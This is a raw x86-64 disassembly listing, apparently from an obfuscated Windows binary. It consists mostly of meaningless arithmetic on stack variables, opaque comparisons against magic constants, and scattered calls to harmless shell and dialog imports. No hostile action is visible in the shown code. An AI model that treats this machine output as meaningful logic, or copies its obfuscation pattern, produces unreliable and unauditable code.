movzx eax, word [rsp + 0x2a48]
movzx ecx, word [rsp + 0x2a3c]
add eax, ecx
mov word [rsp + 0x2a40], ax
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [0x14019d008]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xce78]
mov qword [rcx], rax
mov rax, qword [rsp + 0xce78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9b60]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xcec0], rax
mov rax, qword [rsp + 0xaa88]
mov rcx, qword [rsp + 0xce78]
mov qword [rsp + 0xcef8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcef8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xccf8], rax
mov rax, qword [rsp + 0xced0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a38]
or eax, ecx
mov word [rsp + 0x2a2c], ax
mov eax, dword [rsp + 0x5cf0]
movzx ecx, al
mov eax, dword [rsp + 0x6bd0]
shr eax, cl
mov dword [rsp + 0x6c24], eax
lea rcx, [rsp + 0xcf00]
call qword [sym.imp.SHELL32.dll_ILClone]
mov qword [rsp + 0xcf00], rax
mov rax, qword [rsp + 0xcef0]
mov rcx, qword [section..data]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xce58], rax
mov rax, qword [rsp + 0xcef0]
mov rcx, qword [rsp + 0xce58]
mov rax, qword [rax]
sub rax, rcx
mov qword [section..data], rax
mov eax, dword [0x14019efa8]
mov ecx, dword [rsp + 0x63c8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5938], eax
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2b2]
add eax, ecx
mov byte [rsp + 0x3fb], al
movsx eax, word [rsp + 0x2a34]
movsx ecx, word [rsp + 0x2a2c]
sub eax, ecx
mov word [rsp + 0x2a38], ax
mov rax, qword [0x14019efa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a48]
shl eax, cl
mov word [rsp + 0x2a40], ax
mov rax, qword [rsp + 0xb590]
mov rcx, qword [rsp + 0xceb8]
mov qword [rsp + 0xcf08], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcf08]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xce78]
mov qword [rcx], rax
mov rax, qword [rsp + 0xce78]
mov rcx, qword [rsp + 0xccf8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xcec0], rax
movsx eax, byte [rsp + 0x4df]
mov rcx, qword [rsp + 0xce70]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x4e0], al
mov eax, dword [rsp + 0x6bd0]
mov ecx, dword [rsp + 0x6c24]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x5cf0], eax
mov rax, qword [rsp + 0xcef0]
mov rcx, qword [section..data]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xce58], rax
jmp 0x14001a3d3
mov rax, qword [rsp + 0xce70]
movzx eax, byte [rax]
mov byte [0x14019ef91], al
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2a2c], ax
mov eax, dword [rsp + 0x5cf0]
mov dword [rsp + 0x6c68], eax
cmp dword [rsp + 0x6c68], 0x6311
je 0x14001a7dc
cmp dword [rsp + 0x6c68], 0x808020a
je 0x14001a8d5
jmp 0x14001aab7
mov rax, qword [rsp + 0xcdc8]
mov qword [rsp + 0xcf10], rax
movabs rax, 0x713b7ff7174ecd
cmp qword [rsp + 0xcf10], rax
je 0x14001a876
movabs rax, 0x7a9523ac76dc12
cmp qword [rsp + 0xcf10], rax
je 0x14001a819
jmp 0x14001a8d0
movzx eax, word [rsp + 0x2a40]
mov rcx, qword [0x14019efa0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2a48], ax
mov rax, qword [rsp + 0xce78]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xcec0]
shl rax, cl
mov qword [rsp + 0xb590], rax
lea rdx, [rsp + 0x1e880]
lea rcx, [rsp + 0x1e880]
call qword [sym.imp.SHELL32.dll_ILCombine]
mov qword [rsp + 0xcf18], rax
jmp 0x14001a8d0
mov rax, qword [0x14019efa0]
movzx eax, word [rax]
movzx ecx, word [0x14019ef98]
sub eax, ecx
mov word [rsp + 0x2a3c], ax
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [rsp + 0xce78]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcec0], rax
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [rsp + 0xcec0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9b60], rax
jmp 0x14001aab7
mov rax, qword [rsp + 0xcef0]
mov rax, qword [rax]
mov qword [rsp + 0xcf20], rax
cmp qword [rsp + 0xcf20], 0
je 0x14001a8f8
jmp 0x14001aa9e
movzx eax, byte [rsp + 0x4df]
mov byte [rsp + 0x4e1], al
mov rax, qword [section..data]
mov rcx, qword [rsp + 0xce58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xaa78], rax
mov rax, qword [rsp + 0xcec0]
mov rcx, qword [0x14019d008]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xce78]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x9b60]
shl rdx, cl
mov rcx, rdx
cmp rax, rcx
jge 0x14001a9d0
movsx eax, byte [rsp + 0x4e1]
movsx ecx, byte [rsp + 0x346]
and eax, ecx
mov rcx, qword [rsp + 0xce70]
mov byte [rcx], al
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3fb]
xor eax, ecx
mov rcx, qword [rsp + 0xce60]
mov byte [rcx], al
mov eax, dword [rsp + 0x6c24]
mov ecx, dword [rsp + 0x6bd0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5cf0], eax
mov rax, qword [rsp + 0xced0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2a34], ax
jmp 0x14001aa9c
mov eax, dword [rsp + 0x6bd0]
movzx ecx, al
mov eax, dword [rsp + 0x6c24]
shr eax, cl
cmp eax, dword [rsp + 0x5cf0]
ja 0x14001aa9c
movsx eax, word [rsp + 0x2a2c]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2a34], ax
mov rax, qword [0x14019efa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a40]
sar eax, cl
mov word [rsp + 0x2a3c], ax
mov rax, qword [0x14019efa0]
movzx eax, word [rax]
mov word [rsp + 0x2a4c], ax
mov rax, qword [rsp + 0xcef0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xce58]
shl rax, cl
mov qword [rsp + 0xb6e0], rax
mov rax, qword [rsp + 0xcec0]
mov rcx, qword [0x14019d008]
sub rcx, rax
mov rax, rcx
mov qword [0x14019d018], rax
mov eax, dword [rsp + 0x6c24]
mov ecx, dword [rsp + 0x5cf0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6bd0], eax
mov dword [rsp + 0x6c6c], 0xa467
jmp 0x14001aab7
movsx eax, byte [rsp + 0x4e1]
movsx ecx, byte [rsp + 0x4e0]
add eax, ecx
mov byte [rsp + 0x4df], al
mov eax, dword [rsp + 0x63c8]
mov dword [rsp + 0x6c70], eax
cmp dword [rsp + 0x6c70], 0xbd0fbae3
je 0x14001aad7
jmp 0x14017dd32
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
mov byte [rsp + 0x6c74], al
cmp byte [rsp + 0x6c74], 0xd3
je 0x14001aaf5
jmp 0x14001ab35
mov rax, qword [rsp + 0xce78]
mov rcx, qword [0x14019d008]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xcec0], rax
mov rax, qword [0x14019efa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a44]
shl eax, cl
mov rcx, qword [0x14019efa0]
mov word [rcx], ax
jmp 0x14001abd8
mov eax, dword [rsp + 0x5938]
mov dword [rsp + 0x6c78], eax
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
mov byte [rsp + 0x4e2], al
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4df]
sar eax, cl
mov byte [rsp + 0x362], al
mov eax, dword [rsp + 0x5cf0]
mov ecx, dword [rsp + 0x6c24]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6bd0], eax
mov rax, qword [rsp + 0xcef0]
mov rcx, qword [rsp + 0xce58]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xaa78], rax
mov rax, qword [rsp + 0xced0]
movzx eax, word [rax]
mov word [rsp + 0x2a50], ax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a50]
sar eax, cl
mov word [rsp + 0x2a2c], ax
lea rax, [rsp + 0x2a4c]
mov qword [rsp + 0xcf28], rax
movzx eax, byte [rsp + 0x4df]
mov byte [0x14019ef92], al
mov dword [rsp + 0x6c7c], 0xb4e2
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
mov byte [rsp + 0x6c80], al
cmp byte [rsp + 0x6c80], 0
je 0x14001ac22
jmp 0x14001ad01
mov eax, dword [rsp + 0x5cf0]
mov dword [rsp + 0x6c84], eax
cmp dword [rsp + 0x6c84], 0x2ed
je 0x14001ace2
cmp dword [rsp + 0x6c84], 0xe265
je 0x14001ac53
jmp 0x14001acfc
mov eax, dword [rsp + 0x5cf0]
movzx ecx, al
mov eax, dword [rsp + 0x6c24]
shl eax, cl
cmp eax, dword [rsp + 0x6bd0]
je 0x14001ace0
mov rax, qword [rsp + 0xce78]
mov rcx, qword [rsp + 0xcec0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xaa88], rax
mov eax, dword [rsp + 0x6c24]
mov ecx, dword [rsp + 0x5cf0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6bd0], eax
movsx eax, byte [rsp + 0x4e1]
movsx ecx, byte [rsp + 0x346]
add eax, ecx
mov byte [rsp + 0x4df], al
mov rax, qword [rsp + 0xcef0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaa78]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xce58], rax
jmp 0x14001acfc
movsx eax, word [rsp + 0x2a50]
movsx ecx, word [rsp + 0x2a2c]
xor eax, ecx
mov word [rsp + 0x2a38], ax
jmp 0x14001adb3
mov rax, qword [rsp + 0xccf8]
mov qword [rsp + 0xcf30], rax
movabs rax, 0x7226e71b751452
cmp qword [rsp + 0xcf30], rax
je 0x14001ad3b
movabs rax, 0x775f9880ada3dd
cmp qword [rsp + 0xcf30], rax
je 0x14001ad79
jmp 0x14001adb3
movzx eax, word [rsp + 0x2a44]
mov rcx, qword [0x14019efa0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xcf28]
mov word [rcx], ax
mov rax, qword [0x14019d018]
movzx ecx, al
mov rax, qword [rsp + 0xccf8]
sar rax, cl
mov qword [rsp + 0xaa88], rax
jmp 0x14001adb3
movzx eax, word [rsp + 0x2a3c]
mov rcx, qword [0x14019efa0]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xcf28]
mov word [rcx], ax
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4e2]
sub eax, ecx
mov byte [0x14019ef90], al
mov eax, dword [rsp + 0x5938]
mov ecx, dword [rsp + 0x63c8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5918], eax
mov rax, qword [rsp + 0xce78]
mov rax, qword [rax]
mov qword [rsp + 0xcf38], rax
cmp qword [rsp + 0xcf38], 0
je 0x14001ae24
movabs rax, 0x7b792f83b5db98
cmp qword [rsp + 0xcf38], rax
je 0x14001ae03
jmp 0x14001af38
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4df]
sub eax, ecx
mov byte [rsp + 0x362], al
jmp 0x14001af38
mov rax, qword [rsp + 0xaa78]
mov rcx, qword [rsp + 0xcef0]
mov qword [rsp + 0xcf40], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcf40]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xb6e0], rax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
mov dword [rsp + 0x6c88], eax
cmp dword [rsp + 0x6c88], 0x71c
je 0x14001ae76
jmp 0x14001aeec
mov eax, dword [rsp + 0x6c24]
movzx ecx, al
mov eax, dword [rsp + 0x5cf0]
shl eax, cl
mov dword [rsp + 0x6bd0], eax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2a50], ax
movzx eax, word [rsp + 0x2a44]
movzx ecx, word [rsp + 0x2a3c]
add eax, ecx
mov word [rsp + 0x2a40], ax
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
mov rcx, qword [0x14019d018]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb590], rax
jmp 0x14001af38
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
mov qword [rsp + 0xcf48], rax
mov rax, qword [rsp + 0xb6e0]
mov rcx, qword [rsp + 0xce58]
and rcx, rax
mov rax, rcx
mov qword [0x14019d020], rax
movsx eax, word [0x14019ef94]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2a38], ax
mov dword [rsp + 0x6c8c], 0x2b4e
lea rdx, [rsp + 0x6c14]
lea rcx, [rsp + 0xce18]
call qword [sym.imp.SHELL32.dll_ILFindChild]
mov qword [rsp + 0xcf50], rax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a48]
or eax, ecx
mov word [rsp + 0x2a4c], ax
mov eax, dword [rsp + 0x6c24]
movzx ecx, al
mov eax, dword [rsp + 0x6bd0]
shr eax, cl
mov dword [rsp + 0x5cf0], eax
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4e0]
shl eax, cl
mov byte [rsp + 0x4df], al
mov rax, qword [rsp + 0xaa78]
mov rcx, qword [rsp + 0xce58]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb6e0], rax
mov eax, dword [rsp + 0x6c44]
add eax, 0x44
mov dword [rsp + 0x6c44], eax
mov rax, qword [rsp + 0xce78]
mov rcx, qword [rsp + 0xcf48]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcdc8], rax
mov rax, qword [rsp + 0xced0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a34]
add eax, ecx
mov word [rsp + 0x2a38], ax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
mov rcx, qword [0x14019efa0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2a3c], ax
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2b2]
shl eax, cl
mov byte [0x14019d010], al
movsx eax, byte [rsp + 0x4e1]
movsx ecx, byte [rsp + 0x346]
sar eax, cl
mov rcx, qword [rsp + 0xce70]
mov byte [rcx], al
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [rsp + 0xce78]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xaa88], rax
mov eax, dword [rsp + 0x6c24]
mov ecx, dword [rsp + 0x5cf0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6bd0], eax
mov rax, qword [rsp + 0xcef0]
mov rcx, qword [rsp + 0xce58]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xaa78], rax
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x346]
xor eax, ecx
mov byte [rsp + 0x362], al
movsx eax, word [rsp + 0x2a34]
movsx ecx, word [rsp + 0x2a2c]
and eax, ecx
mov word [rsp + 0x2a38], ax
movzx eax, word [rsp + 0x2a44]
mov rcx, qword [rsp + 0xcf28]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2a3c], ax
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [rsp + 0xce78]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xceb8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x2a40]
movzx ecx, word [rsp + 0x2a4c]
shl eax, cl
mov word [0x14019ef98], ax
cmp dword [rsp + 0x6c44], 0xf591
jbe 0x14001af43
mov eax, dword [rsp + 0x5918]
mov dword [rsp + 0x6c90], eax
cmp dword [rsp + 0x6c90], 0xf5bf74a1
je 0x14001b19e
cmp dword [rsp + 0x6c90], 0x257f8b6f
je 0x14001b2e5
jmp 0x14001b31f
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a38]
sar eax, cl
mov word [rsp + 0x2a2c], ax
mov rax, qword [rsp + 0xcef0]
mov rax, qword [rax]
mov qword [rsp + 0xcf58], rax
movabs rax, 0x70aac351f3d608
cmp qword [rsp + 0xcf58], rax
je 0x14001b1ff
movabs rax, 0x7dde0596e5f8f2
cmp qword [rsp + 0xcf58], rax
je 0x14001b2c1
jmp 0x14001b2e3
mov rax, qword [0x14019efa0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcf28]
movzx ecx, word [rcx]
sub eax, ecx
movzx ecx, word [rsp + 0x2a4c]
movzx edx, word [0x14019ef98]
imul ecx, edx
cmp eax, ecx
je 0x14001b2a5
mov rax, qword [rsp + 0xce78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9b60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb590], rax
mov eax, dword [rsp + 0x6bd0]
mov ecx, dword [rsp + 0x6c24]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5cf0], eax
movsx eax, byte [rsp + 0x362]
mov rcx, qword [rsp + 0xce70]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x4e0], al
mov rax, qword [rsp + 0xcef0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xaa78]
shl rax, cl
mov qword [rsp + 0xce58], rax
jmp 0x14001b2bf
movzx eax, word [rsp + 0x2a48]
movzx ecx, word [rsp + 0x2a40]
xor eax, ecx
mov word [rsp + 0x2a4c], ax
jmp 0x14001b2e3
lea r8, [rsp + 0xce20]
lea rdx, [rsp + 0x1e058]
mov ecx, 0x83
call qword [sym.imp.SHELL32.dll_SHGetImageList]
mov dword [rsp + 0x6bc0], eax
jmp 0x14001b31f
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [rsp + 0xcdc8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xaa88], rax
movzx eax, byte [rsp + 0x3fb]
mov rcx, qword [rsp + 0xce60]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x4e2], al
mov eax, dword [rsp + 0x5918]
mov dword [0x14019efac], eax
mov eax, dword [rsp + 0x5938]
mov dword [rsp + 0x6c94], eax
movzx eax, word [0x14019ef98]
mov dword [rsp + 0x6c98], eax
cmp dword [rsp + 0x6c98], 0x147
je 0x14001b36b
cmp dword [rsp + 0x6c98], 0xf10
je 0x14001b435
jmp 0x14001b5cb
mov rax, qword [rsp + 0xcdc8]
movzx ecx, al
mov rax, qword [rsp + 0xaa88]
sar rax, cl
mov rcx, qword [rsp + 0x9b60]
mov rdx, qword [rsp + 0xcf48]
or rdx, rcx
mov rcx, rdx
cmp rax, rcx
jge 0x14001b3bc
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2a50], ax
movzx eax, word [rsp + 0x2a40]
mov rcx, qword [rsp + 0xcf28]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2a48], ax
mov rax, qword [0x14019d020]
mov rcx, qword [rsp + 0xb6e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xaa78], rax
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x346]
add eax, ecx
mov rcx, qword [rsp + 0xce70]
mov byte [rcx], al
movsx eax, byte [0x14019ef91]
movsx ecx, byte [rsp + 0x4e0]
add eax, ecx
mov rcx, qword [rsp + 0xce70]
mov byte [rcx], al
jmp 0x14001b5cb
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4e2]
add eax, ecx
movzx ecx, byte [0x14019d010]
mov dword [rsp + 0x6c9c], ecx
movzx edx, byte [rsp + 0x2b2]
movzx ecx, dl
mov edx, dword [rsp + 0x6c9c]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x14001b523
movsx eax, word [0x14019ef94]
movsx ecx, word [rsp + 0x2a38]
sub eax, ecx
mov word [rsp + 0x2a34], ax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a48]
sar eax, cl
mov word [rsp + 0x2a4c], ax
mov rax, qword [rsp + 0xce78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xceb8]
mov qword [rsp + 0xcf60], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcf60]
mov rax, qword [rax]
shl rax, cl
mov qword [0x14019d018], rax
mov rax, qword [rsp + 0xaa88]
mov rcx, qword [rsp + 0x9b60]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xcec0], rax
mov rax, qword [rsp + 0xce78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9b60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb590], rax
jmp 0x14001b5cb
movsx eax, word [rsp + 0x2a50]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0x2a2c]
and ecx, edx
cmp eax, ecx
je 0x14001b56d
movsx eax, word [rsp + 0x2a34]
movsx ecx, word [rsp + 0x2a38]
add eax, ecx
mov word [rsp + 0x2a2c], ax
jmp 0x14001b5cb
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4e2]
xor eax, ecx
movzx ecx, byte [rsp + 0x2b2]
movzx edx, byte [rsp + 0x3fb]
or ecx, edx
cmp eax, ecx
jl 0x14001b5bb
mov rax, qword [rsp + 0xce58]
mov rcx, qword [rsp + 0xb6e0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcef0]
mov qword [rcx], rax
jmp 0x14001b5cb
mov rax, qword [rsp + 0xce08]
movzx ecx, word [rax]
call fcn.140182fd0
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4df]
add eax, ecx
mov byte [rsp + 0x346], al
mov rax, qword [rsp + 0xce58]
mov rcx, qword [rsp + 0xb6e0]
add rcx, rax
mov rax, rcx
mov rcx, qword [0x14019d020]
mov rdx, qword [rsp + 0xaa78]
and rdx, rcx
mov rcx, rdx
cmp rax, rcx
jae 0x14001b64f
mov eax, dword [rsp + 0x6bd0]
mov ecx, dword [rsp + 0x6c24]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5cf0], eax
mov eax, dword [rsp + 0x63c8]
movzx ecx, al
mov eax, dword [rsp + 0x5918]
sar eax, cl
mov dword [rsp + 0x6c78], eax
jmp 0x14017dd09
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a40]
cdq
idiv ecx
mov rcx, qword [0x14019efa0]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0x2a48]
xor ecx, edx
cmp eax, ecx
jl 0x14017da50
mov rax, qword [rsp + 0xaa88]
mov rcx, qword [rsp + 0xb590]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcac8], rax
mov dword [rsp + 0x6ca0], 0xd163
lea rcx, [rsp + 0x1e650]
call qword [sym.imp.COMDLG32.dll_ChooseColorW]
mov dword [rsp + 0x6ca4], eax
movzx eax, word [rsp + 0x2a44]
mov rcx, qword [rsp + 0xcf28]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019ef98], ax
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xccf8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcdc8], rax
mov rax, qword [rsp + 0xce78]
mov rcx, qword [rsp + 0xceb8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xce78]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcef0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xce58]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xb6e0], rax
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x346]
sar eax, cl
mov byte [rsp + 0x362], al
lea rdx, [rsp + 0x6bbc]
lea rcx, [rsp + 0x6bc4]
call qword [sym.imp.SHELL32.dll_SHIsFileAvailableOffline]
mov dword [rsp + 0x6be0], eax
mov eax, dword [rsp + 0x6c78]
movzx ecx, al
mov eax, dword [rsp + 0x5918]
shl eax, cl
mov dword [rsp + 0x5938], eax
movzx eax, byte [rsp + 0x4e2]
movzx ecx, byte [0x14019d010]
add eax, ecx
mov byte [rsp + 0x3fb], al
mov eax, dword [rsp + 0x6bd0]
mov ecx, dword [rsp + 0x5cf0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c24], eax
mov eax, dword [rsp + 0x6c7c]
sub eax, 0x22
mov dword [rsp + 0x6c7c], eax
movsx eax, word [rsp + 0x2a34]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2a50], ax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a44]
xor eax, ecx
mov rcx, qword [0x14019efa0]
mov word [rcx], ax
movzx eax, word [rsp + 0x2a4c]
movzx ecx, word [rsp + 0x2a3c]
sar eax, cl
mov word [rsp + 0x2a40], ax
movzx eax, word [rsp + 0x2a3c]
mov rcx, qword [0x14019efa0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xcf28]
mov word [rcx], ax
mov rax, qword [rsp + 0xcef0]
mov rcx, qword [rsp + 0xaa78]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xce58], rax
mov eax, dword [rsp + 0x5cf0]
mov ecx, dword [rsp + 0x6bd0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c24], eax
mov edx, 1
mov rcx, qword [rsp + 0xcea8]
call qword [sym.imp.SHELL32.dll_DragAcceptFiles]
movsx eax, byte [rsp + 0x4e0]
mov rcx, qword [rsp + 0xce70]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x362], al
mov rax, qword [rsp + 0xced0]
movsx eax, word [rax]
movsx ecx, word [0x14019ef94]
add eax, ecx
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a48]
add eax, ecx
mov word [rsp + 0x2a40], ax
mov rax, qword [rsp + 0xce78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcec0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9b60], rax
mov rax, qword [rsp + 0xce78]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xcf48]
shl rax, cl
mov qword [0x14019d018], rax
mov rax, qword [rsp + 0xcec0]
movzx ecx, al
mov rax, qword [rsp + 0xb590]
sar rax, cl
mov qword [rsp + 0xcac8], rax
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [rsp + 0xcdc8]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xcec0], rax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
mov rcx, qword [0x14019efa0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2a40], ax
cmp dword [rsp + 0x6c7c], 0xab74
ja 0x14001b6aa
mov rax, qword [rsp + 0xce58]
mov qword [rsp + 0xcf68], rax
movabs rax, 0x7eef07e24d58e0
cmp qword [rsp + 0xcf68], rax
je 0x14001b9c0
jmp 0x14001ba0c
movzx eax, byte [rsp + 0x4df]
mov byte [rsp + 0x6ca8], al
cmp byte [rsp + 0x6ca8], 0x63
je 0x14001b9db
jmp 0x14001b9f7
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4df]
add eax, ecx
mov byte [rsp + 0x4e0], al
mov rax, qword [rsp + 0xcef0]
mov rcx, qword [rax]
call fcn.140182e60
jmp 0x14017d9a2
mov rax, qword [rsp + 0xcef0]
mov rcx, qword [rsp + 0xce58]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xb6e0]
mov rdx, qword [rsp + 0xaa78]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jbe 0x14001bab4
movzx eax, word [rsp + 0x2a44]
movzx ecx, word [rsp + 0x2a48]
or eax, ecx
mov word [rsp + 0x2a3c], ax
mov rax, qword [rsp + 0xb590]
mov rcx, qword [rsp + 0xcdc8]
sub rcx, rax
mov rax, rcx
